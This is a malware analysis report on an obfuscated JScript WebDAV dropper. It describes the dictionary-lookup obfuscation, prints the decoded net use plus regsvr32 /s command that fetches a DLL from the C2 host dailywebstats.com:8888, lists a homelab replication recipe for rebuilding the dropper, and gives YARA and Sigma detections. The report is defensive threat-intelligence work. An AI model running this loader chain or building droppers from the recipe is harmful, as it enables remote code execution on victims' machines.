unclassified-js-webdav-dropper: 6b7435afd70e — 62-entry noise-key dictionary, dailywebstats.com:8888

Executive Summary

A JScript dropper using a 62-entry noise-key dictionary lookup-table obfuscation. Decodes at runtime to a PowerShell -EncodedCommand wrapper that mounts dailywebstats.com:8888 via WebDAV and silently registers 2934213284196.dll via regsvr32 /s. Thirty-ninth confirmed sibling of the unclassified-js-webdav-dropper family. Static-only; CAPE skipped (text file, not a binary).^[file.txt]

What It Is

How It Works

Obfuscation

The script declares a single global object aaucxocqrqtxmcvuir with 62 key/value pairs mapping random noise strings (8–20 chars, no semantic content) to individual ASCII characters.^[strings.txt:1] The object name and every key are unique to this sample — no overlap with any prior sibling.

A try/catch decoy wraps the payload: try{dlavccsqfk();}catch(ezinvaszmrghuq){...}. The function dlavccsqfk is undefined, so the catch block always executes. This is a standard decoy pattern across the dictionary-dialect siblings.

Decoded Payload

The catch block assembles the payload character-by-character via dictionary lookups, then calls:

WScript.Shell.Run("powershell -EncodedCommand <base64>", 0, true)

The Base64 block decodes (UTF-16LE) to:

net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\2934213284196.dll

C2: dailywebstats.com:8888 (single domain for mount and fetch). Payload: 2934213284196.dll.

Execution Chain

1. User opens .js → wscript.exe executes JScript
2. JScript builds noise-key dictionary in memory
3. JScript assembles PowerShell command via Function('return this')() global access
4. wscript.exe spawns powershell.exe -EncodedCommand ...
5. PowerShell decodes to net use + regsvr32 /s over UNC/WebDAV
6. regsvr32.exe loads 2934213284196.dll from remote WebDAV share

No sandbox gate, no wordpad decoy, no persistence mechanism observed. One-shot execution.

Decompiled Behavior

Not applicable — this is a JScript text file with no compiled binary payload. Static analysis performed via manual dictionary decode.

C2 Infrastructure

dailywebstats.com:8888 is a known C2 host in this family, previously observed in siblings e6ebae6a (payload 30122106810637.dll), cc90d6c (payload 7110415629547.dll), ccb2d007 (payload 25738778612530.dll). This sample reuses the same host with a new payload filename.

Interesting Tidbits

• Noise-key style: All 62 keys are random lowercase alphanumeric noise (e.g. aaucxocqrqtxmcvuir, fciiljesabbnnfozorr, mrmuntdsadqdlocoqr). This is the same cardinality as df42ecf8 and e6ebae6a but with a completely new key set, confirming the actor generates fresh keys per build.
• No alliteration, no natural language: Unlike cc90d6c (alliterative three-word phrases) or aac0198b5 (compound English phrases), this sample uses pure noise — the simplest key-generation strategy observed in the family.
• PowerShell wrapper present: The -EncodedCommand layer is consistent with the dailywebstats.com and cloudslimit.com clusters; absent from the 45.9.74.36:8888 noise-key cluster.
• Single-domain C2: Both net use mount and regsvr32 fetch target the same domain. The split-domain variant (cloudslimit.com + cloudskimit.com) observed in fb353965 is not present here.

How To Mess With It (Homelab Replication)

1. Encode your own payload. Pick 62 random noise strings and map them to the characters of a net use + regsvr32 command.
2. Wrap in JScript decoy. Use try{undefined();}catch(e){...} to force the catch path.
3. Test against Defender. The obfuscation defeats static string matching, but behavioral detection (wscript.exe → powershell.exe with encoded command) should still fire.
4. Compare with prior siblings. The noise-key generator is trivial — this is low-skill, high-volume tooling.

Deployable Signatures

YARA Rule

rule WebDAV_JS_Dropper_NoiseDict_62 {
    meta:
        description = "JScript WebDAV dropper with 62-entry noise-key dictionary"
        author = "PacketPursuit"
        date = "2026-07-04"
        sha256 = "6b7435afd70e75ca5278e20f018ab17768b7b3be26c31dfbbc9d927dc455f2e2"
    strings:
        $dict_start = /\w+=\[\];\w+\['\w{8,20}'\]='[a-zA-Z0-9]'/
        $wscript = "WScript" nocase
        $dav = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32" nocase
        $encoded = "-EncodedCommand" nocase
    condition:
        filesize < 50KB
        and #dict_start > 50
        and 2 of ($wscript, $dav, $regsvr32, $encoded)
}

Behavioral Hunt Query (Sigma)

title: WebDAV JS Dropper Execution Chain
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    - CommandLine|contains: 'DavWWWRoot'
    - CommandLine|contains: 'regsvr32 /s \\\\'
  condition: selection
falsepositives:
  - Rare legitimate IT admin use of WebDAV for DLL registration
level: high

IOC List

Behavioral Fingerprint

This script is a JScript text file that declares a large object (50+ entries) mapping random noise strings to single characters, then assembles a PowerShell -EncodedCommand string at runtime via Function('return this')() global access. The decoded command mounts a WebDAV share via net use and loads a remote DLL via regsvr32 /s over a UNC path. No sandbox gate, no persistence, no decoy application.

Detection Signatures

References

• unclassified-js-webdav-dropper — entity page for this family
• js-dictionary-char-lookup-obfuscation — technique page for the obfuscation dialect
• webdav-regsvr32-dll-sideloading — technique page for the execution chain
• Sibling e6ebae6a — same C2 host, 62-entry dictionary, different keys ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html]
• Sibling df42ecf8 — 62-entry noise-key dictionary, cloudslimit.com:8888 C2 ^[/intel/analyses/df42ecf860b51e0fe4fd681f38b8eb69d27ea9a19a355af652ccc9661a76da87.html]

Provenance

• file.txt — file(1) output
• strings.txt — raw script content (single line, 15,580 chars)
• metadata.json — artifact metadata from OpenCTI/MalwareBazaar ingestion
• triage.json — triage pipeline classification
• Manual dictionary decode performed via Python regex extraction (see analysis session)
• CAPE skipped — text file, not a supported binary class for detonation ^[dynamic-analysis.md]